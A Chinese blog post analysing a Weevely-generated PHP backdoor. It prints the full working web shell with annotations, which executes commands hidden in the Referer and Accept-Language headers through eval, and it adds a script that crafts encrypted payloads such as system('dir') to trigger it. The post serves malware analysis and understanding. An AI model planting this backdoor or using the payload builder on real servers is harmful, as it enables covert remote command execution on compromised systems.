Weevely后门分析

上个月,朋友扔了给我一个可疑PHP文件,问我这是什么。

代码整理

重新整理了下代码(已注释)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
$kh = "cdb9";
$kf = "b740";
// 循环异或加密解密,密钥 $k
function x($t, $k) {
// 获取$t长度,获取$k长度
$l = strlen($t);
$c = strlen($k);
$o = "";
// $i初始化为0,$i小于$l($t)
for ($i = 0;$i < $l;) {
// $j初始化为0,$j小于$c($k)且$i小于$l($t),循环一次$j+1,$i+1
for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
// $o是$t{$i}与$k{$j}的异或结果
$o.= $t{$i} ^ $k{$j};
// 0 ^ 0 = 0;1 ^ 1 = 0;0 ^ 1 = 1;1 ^ 0 = 1;
}
}
return $o;
}
// $_SERVER是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组
$r = $_SERVER;
// $rr与$ra是从 $_SERVER中取出来的值
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
// $u是解析$rr中的URL
$u = parse_url($rr);
// 将 referer 的 query string 的 各个value解析到$q数组中
parse_str($u["query"], $q);
// $q返回$q数组的所有值(非键名)
$q = array_values($q);
// 全局正则表达式匹配,从$ra搜索所有与正则表达式匹配的内容并放到$m中(每种语言的首字母和权重数字)
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {
// 启动新会话或者重用现有会话
@session_start();
//
$s = & $_SESSION;
// 返回字符串的一部分(0-3)
$ss = "substr";
// 把所有字符转换为小写
$sl = "strtolower";
// 两组首字母
$i = $m[1][0] . $m[1][1];
// md5($i . $kh) 的前三个字符小写
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
// 拼接Payload
$p = "";
// count返回数组中元素的数目
for ($z = 1;$z < count($m[1]);$z++)
// 从$q 中取出 $m 正则匹配到的第2组中索引
$p.= $q[$m[2][$z]];
// 如果$h出现的位置为$p[0]
if (strpos($p, $h) === 0) {
// $_SESSION[$i] = '' , $i 是正则匹配到的两组首字母
$s[$i] = "";
// $p 取从第3个字符开始的子串,去掉 $h
$p = $ss($p, 3);
}
// 检查$i是否在$s数组中 ---- 前置条件:上个if条件成立(如果$h出现的位置为$p[0])
if (array_key_exists($i, $s)) {
$s[$i].= $p;
// 记录$f在$s[$i]字符中出现的位置 , $e为数字
$e = strpos($s[$i], $f);
// 在 $s[$i]必须有 $f 作为"停止字符串"
if ($e) {
$k = $kh . $kf; //cdb9b740
ob_start();
/*
1. 执行一个正则表达式的搜索和替换
2. base64解密
3. 循环异或
4. zlib 解密,还原执行代码并执行
*/
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
// 返回输出缓冲区的内容
$o = ob_get_contents();
// 清空(擦除)缓冲区并关闭输出缓冲
ob_end_clean();
// 将输出缓冲区的内容进行压缩异或base64加密
$d = base64_encode(x(gzcompress($o), $k));
print ("<$k>$d</$k>");
@session_destroy();
}
}
}
}
?>

这代码逻辑看得我有点迷,尝试分析了一波,怀疑是从$_SERVER当中扣取字符串充当payload,所以将正则匹配结果进行输出,但是只是看到语言的首字母和权重数字,但是没看懂是怎么回事,所以就回复朋友说这不是后门。


直到今天,看到了weevely的相关资料才发现,之前给的PHP特么就是个后门,原谅我的无知。
站在前辈们的臂膀上,决定重新尝试了一波。

代码走读

通过了解,这段PHP代码是Weevelystegaref_php.tpl模板生成的。对处理过的php代码重新走读。

  • $kh = "cdb9";$kf = "b740";这两个参数是在生成后门文件时定义的密码在经过md5加密后的前8位,
  • $r;$rr;$ra; 是从server中去取http协议请求头中的REFERER数据和ACCEPT_LANGUAGE数据
  • 正则匹配ACCEPT_LANGUAGE中的数组偏移量
  • $h; $f; 求出真正有用的payload的header值和footer(当时不知道weevely,所以卡在了这里,不知道是干嘛用的)
  • 最后的eval是用来解密payload,得到真正攻击的payload
  • $d=base64_encode(x(gzcompress($o),$k));把执行结果通过相同的方式进行加密,放在自己密码加密后的标签中print(“<$k>$d</$k>”);

我们将变量进行打印以方便理解:

方法就是这样,一个一个变量的去理解。

代码中心思想

  • 获取Accept-LanguageReferer信息
  • Accept-Language中匹配出每种语言的首字母和权重数字
  • 对匹配出的字符串进行处理得出$h$f
  • 从Referer获取其各个value并解析到$q数组,遍历到$q
  • 判断$h是否存在于$q中,如果存在,则$p$h之后的子串
  • 取值后的$p结尾必须是$f作为停止字符串
  • 去除$p中的$f,得出真正的payload
  • $p的组成:$h . $payload . $f
  • payload进行base64的解码、循环异或、zlib 解密、执行
  • 执行的结果不输出,存入缓冲区,并取出
  • 对缓冲区的内容进行zlib解密、循环异或、base64加密、打印结果

利用方式

理解了代码之后,就很简单的知道是怎么利用了。

注意看preg_replace函数的方法,就很简单的逆推出加密过的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$kh = "cdb9";
$kf = "b740";
function x($t, $k) {
$l = strlen($t);
$c = strlen($k);
$o = "";
for ($i = 0;$i < $l;) {
for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
$o.= $t{$i} ^ $k{$j};
// 0 ^ 0 = 0;1 ^ 1 = 0;0 ^ 1 = 1;1 ^ 0 = 1;
}
}
return $o;
}
$ra = 'zh-CN,zh;q=0.8,en;q=0.6';
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
$i = $m[1][0] . $m[1][1];
$h=strtolower(substr(md5($i.$kh),0,3));
$f=strtolower(substr(md5($i.$kf),0,3));
$k = $kh . $kf;
$code = preg_replace(array("/\//","/\+/"),array("_","-"), base64_encode(x(gzcompress("system('dir');"), $k)));
$payload = $h . $code . $f;
echo $code;
echo "\n<br />\n";
echo $payload;
echo "\n<br />\n";
?>

实践图忘记保存,有时间再补上


效果图:

解密

参考:
weevely3后门分析
一个PHP混淆后门的分析

!坚持技术分享,您的支持将鼓励我继续创作!